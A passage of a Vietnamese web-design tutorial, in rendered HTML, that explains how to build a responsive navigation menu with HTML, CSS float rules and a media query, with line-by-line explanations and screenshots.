Container</li> <li>Sử dụng Framework responsive như: <a href="http://getbootstrap.com/">Bootstrap</a>, <a href="https://www.w3schools.com/w3css/">W3.CSS</a>,...</li> </ul> <p>Mỗi cách sẽ có những ưu nhược điểm riêng.</p> <p>Với hai cách đầu tiên:</p> <ul> <li>Ưu điểm là: bạn có thể tự ý tuỳ biến, mã nguồn nhẹ.</li> <li>Nhược điểm là: sẽ mất thời gian hơn và không phải ai cũng có thể thiết kế đẹp được.</li> </ul> <p>Với cách sử dụng Framework:</p> <ul> <li>Ưu điểm là: thiết kế nhanh, đẹp</li> <li>Nhược điểm là: mã nguồn sẽ nặng hơn do bạn phải tải toàn bộ thư viện, nếu không tuỳ biến thì website của bạn trông rất giống với những website khác.</li> </ul> <p>Trong bài hướng dẫn thiết kế website responsive này, mình sẽ sử dụng CSS Float để thiết kế. Những cách khác, hẹn gặp lại bạn ở những phần sau.</p> <h2 id="thiết-kế-website-responsive-với-menu" style="position:relative;"><a href="#thi%E1%BA%BFt-k%E1%BA%BF-website-responsive-v%E1%BB%9Bi-menu" aria-label="thiết kế website responsive với menu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thiết kế website responsive với menu</h2> <p>Menu là một thành phần không thể thiếu cho website. Đối với kích thước màn hình desktop, menu thường để dàn trải theo chiều ngang. Nhưng với kích thước màn hình tablet hay phone, bạn sẽ không có đủ kích thước để hiển thị. Do đó, cách tốt nhất là hiển thị menu theo chiều dọc màn hình.</p> <p>Sau đây sẽ là các bước thực hiện thiết kế website responsive với menu:</p> <h3 id="bước-1-code-html-indexhtml" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-1-code-html-indexhtml" aria-label="bước 1 code html indexhtml permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 1: Code HTML (index.html)</h3> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Responsive website<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>responsive.css<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>responsive.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>topnav<span class="token punctuation">"</span></span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>myTopnav<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Home<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>About<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Contact<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>javascript:void(0);<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>icon<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">myFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>☰<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Phần <strong>responsive.js</strong> và <strong>responsive.css</strong> mình sẽ giới thiệu sau. Ở đây, Menu sẽ được đóng gói trong thẻ &#x3C;div>. Mỗi mục của menu sẽ là một thẻ &#x3C;a> (link). Ngoài ra, thẻ &#x3C;a> với class="icon" dùng để đóng mở menu khi kích thước màn hình nhỏ.</p> <blockquote> <p><strong>Chú ý</strong>: Thành phần quan trọng ở đây đó là thẻ &#x3C;meta>. Ý nghĩa của thẻ này là dùng để xác định kích thước của viewport (vùng hiển thị) dựa theo chiều rộng của màn hình. Nếu không có thẻ này thì website sẽ không thể responsive theo chiều rộng của màn hình.</p> </blockquote> <p>Hiện tại, mình chưa thiết kế file <strong>responsive.js</strong> và <strong>responsive.css</strong> nên bạn có thể comment 2 dòng đó lại để xem kết quả hiện tại:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 424px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 43.63636363636364%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQoz8WN6QrCMBCE8/6vaE2yVzRpId5H02yk1t8iCPoxzCzLLmNSTH1K6EEkiATvwVrrwTvnYMYDAOIczlmY3S2b/eFgLud8Ouahl11OOffDEIg8MyMCES13RCgSmAgRkIhZNiFcrzfTrcZtLF03ERdnx7UtiNN91Nb0DbXWUoohqv2gzDUmDaLMGqOWqX2CaV9gVNui9tRrbj9o/tvzA1kGCl5C3R7uAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thiet-ke-website-responsive-phan-1-menu-add-html" title="thiet-ke-website-responsive-phan-1-menu-add-html" src="/static/0292fe464d80f5b86344b416da3f70af/4910e/thiet-ke-website-responsive-phan-1-menu-add-html.png" srcset="/static/0292fe464d80f5b86344b416da3f70af/103f2/thiet-ke-website-responsive-phan-1-menu-add-html.png 165w, /static/0292fe464d80f5b86344b416da3f70af/748ba/thiet-ke-website-responsive-phan-1-menu-add-html.png 330w, /static/0292fe464d80f5b86344b416da3f70af/4910e/thiet-ke-website-responsive-phan-1-menu-add-html.png 424w" sizes="(max-width: 424px) 100vw, 424px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="bước-2-thêm-css-responsivecss" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-2-th%C3%AAm-css-responsivecss" aria-label="bước 2 thêm css responsivecss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 2: Thêm CSS (responsive.css)</h3> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Add a black background color to the top navigation */</span> <span class="token selector">.topnav</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #333<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the links inside the navigation bar */</span> <span class="token selector">.topnav a</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #f2f2f2<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 14px 16px<span class="token punctuation">;</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 17px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Change the color of links on hover */</span> <span class="token selector">.topnav a:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #ddd<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> black<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Hide the link that should open and close the topnav on small screens */</span> <span class="token selector">.topnav .icon</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * When the screen is less than 600 pixels wide, * hide all links, except for the first one ("Home"). * Show the link that contains should open and close the topnav (.icon) */</span> <span class="token atrule"><span class="token rule">@media</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.topnav a:not(:first-child)</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav a.icon</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> right<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/* * The "responsive" class is added to the topnav with JavaScript * when the user clicks on the icon. This class makes the topnav * look good on small screens (display the links vertically instead of horizontally) */</span> <span class="token atrule"><span class="token rule">@media</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.topnav.responsive</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav.responsive a.icon</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">right</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav.responsive a</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Giải thích chi tiết từng đoạn code:</p> <h4 id="cấu-hình-thanh-menu" style="position:relative;"><a href="#c%E1%BA%A5u-h%C3%ACnh-thanh-menu" aria-label="cấu hình thanh menu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu hình thanh menu</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.topnav</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #333<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <ul> <li><strong>topnav</strong>: chính là class ứng với thẻ &#x3C;div> - chính là thanh menu</li> <li><strong>background-color: #333</strong>: cài đặt màu nền cho thanh menu. Bạn có thể thay đổi tuỳ thích.</li> <li><strong>overflow: hidden</strong>: Thực tế, thuộc tính <strong>overflow</strong> sẽ có các giá trị là: visible, hidden, scroll, auto, inherit (bạn có thể tham khảo về overflow tại <a href="http://hocwebchuan.com/reference/cssSection/pr_overflow.php">đây</a>). Còn ở đây, khi mình đặt giá trị của overflow là hidden thì chiều cao của thanh menu sẽ được xác định bằng với phần tử trong nó - là các link. (Mình không đặt giá trị cho thuộc tính height).</li> </ul> <h4 id="cấu-hình-các-mục-link-trên-thanh-menu" style="position:relative;"><a href="#c%E1%BA%A5u-h%C3%ACnh-c%C3%A1c-m%E1%BB%A5c-link-tr%C3%AAn-thanh-menu" aria-label="cấu hình các mục link trên thanh menu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu hình các mục (link) trên thanh menu</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.topnav a</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #f2f2f2<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 14px 16px<span class="token punctuation">;</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 17px<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <ul> <li><strong>float: left</strong>: để dồn các mục về phía tay trái. Bạn cũng có thể dùng <strong>float: right</strong> để dồn menu về phía tay phải.</li> <li><strong>display: block</strong>: cấu hình các mục của menu là một block chứ không phải chỉ mỗi dòng chữ (link).</li> <li><strong>color</strong>, <strong>text-align</strong>, <strong>padding</strong>, <strong>text-decoration</strong>, <strong>font-size</strong>: những phần này đơn giản là để trang trí cho menu.</li> </ul> <h4 id="tạo-hiệu-ứng-khi-di-chuyển-chuột-đến-các-mục-của-menu" style="position:relative;"><a href="#t%E1%BA%A1o-hi%E1%BB%87u-%E1%BB%A9ng-khi-di-chuy%E1%BB%83n-chu%E1%BB%99t-%C4%91%E1%BA%BFn-c%C3%A1c-m%E1%BB%A5c-c%E1%BB%A7a-menu" aria-label="tạo hiệu ứng khi di chuyển chuột đến các mục của menu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo hiệu ứng khi di chuyển chuột đến các mục của menu</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.topnav a:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #ddd<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> black<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <ul> <li><strong>a:hover</strong>: dùng để cấu hình cho thẻ &#x3C;a> khi chuột <strong>hover</strong>.</li> <li>Mình thay đổi <strong>background-color</strong> (màu nền) và <strong>color</strong> (màu chữ).</li> </ul> <h4 id="ẩn-icon-đóng-mở-menu-khi-ở-màn-hình-rộng" style="position:relative;"><a href="#%E1%BA%A9n-icon-%C4%91%C3%B3ng-m%E1%BB%9F-menu-khi-%E1%BB%9F-m%C3%A0n-h%C3%ACnh-r%E1%BB%99ng" aria-label="ẩn icon đóng mở menu khi ở màn hình rộng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ẩn icon (đóng mở menu) khi ở màn hình rộng</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.topnav .icon</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, <strong>display: none</strong>: để ẩn <strong>class="icon"</strong>.</p> <h4 id="ẩn-các-mục-của-menu-khi-màn-hình-nhỏ" style="position:relative;"><a href="#%E1%BA%A9n-c%C3%A1c-m%E1%BB%A5c-c%E1%BB%A7a-menu-khi-m%C3%A0n-h%C3%ACnh-nh%E1%BB%8F" aria-label="ẩn các mục của menu khi màn hình nhỏ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ẩn các mục của menu khi màn hình nhỏ</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token atrule"><span class="token rule">@media</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.topnav a:not(:first-child)</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav a.icon</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> right<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <ul> <li>Ở bài này, mình thiết kế theo kiểu desktop trước.</li> <li>Mình dùng <strong>@media screen and (max-width: 600px)</strong> để cấu hình menu khi độ rộng màn hình tối đa là 600px - nghĩa là màn hình điện thoại</li> <li><strong>.topnav a:not(:first-child) {display: none;}</strong>: tất cả các thẻ &#x3C;a> đều ẩn đi, trừ thẻ đầu tiên (home)</li> <li><strong>float: right</strong>: dùng để đưa link với class="icon" sang bên phải màn hình.</li> <li><strong>display: block</strong>: hiển thị link dạng block</li> </ul> <h4 id="hiển-thị-menu-khi-người-dùng-nhấn-vào-icon-phía-bên-phải" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-menu-khi-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-nh%E1%BA%A5n-v%C3%A0o-icon-ph%C3%ADa-b%C3%AAn-ph%E1%BA%A3i" aria-label="hiển thị menu khi người dùng nhấn vào icon phía bên phải permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị menu khi người dùng nhấn vào icon phía bên phải</h4> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token atrule"><span class="token rule">@media</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.topnav.responsive</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav.responsive a.icon</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">right</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.topnav.responsive a</span> <span class="token punctuation">{</span> <span class="token property">float</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Mình vẫn dùng <strong>@media screen and (max-width: 600px)</strong> để cấu hình menu khi độ rộng màn hình tối đa là 600px. Vì trường hợp nhấn vào icon bên phải chỉ xảy ra với trường hợp màn hình nhỏ.</p> <p>Ở đây, xuất hiện một lớp mà trong html không có. Đó là "responsive". Thực tế là khi nhấn vào icon, mình sẽ sử dụng Javascript để add thêm class cho "topnav" (mình sẽ trình bày sau đây). Nghĩa là phần này chỉ có ý nghĩa khi người dùng nhấn vào icon bên phải màn hình.</p> <p>Lúc này, menu để <strong>position:relative</strong> để các phần tử bên trong nó có thể sử dụng <strong>position:absolute</strong>.</p> <p>Đối với icon, mình sẽ cho nó ở phía trên bên phải của thanh menu (<strong>position: absolute; top: 0; right: 0;</strong>)</p> <p>Đối với các mục menu (link), mình cho <strong>float:none</strong> lúc này các mục menu sẽ không dồn sang trái nữa, kết hợp với <strong>display: block</strong> thì chúng sẽ chiếm trọn chiều ngang màn hình.</p> <p>Chữ trên các mục menu để phía bên trái: <strong>text-align: left</strong></p> <h4 id="kết-quả" style="position:relative;"><a href="#k%E1%BA%BFt-qu%E1%BA%A3" aria-label="kết quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết quả</h4> <p>Giao diện trên máy tính:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 580px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 48.484848484848484%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAXUlEQVQoz+3LIQ7AIAyF4Z6JpZ4mRWA4CWFNiuXQBTwTM3OIJVP71MtLfmitiUjOWVXllFJK1Xo/W5BSYmZEDBzIEyLGGMmTc+7YgTGGmc05zaz3/hxbsF744y/jC33+AqMuVdGCAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" 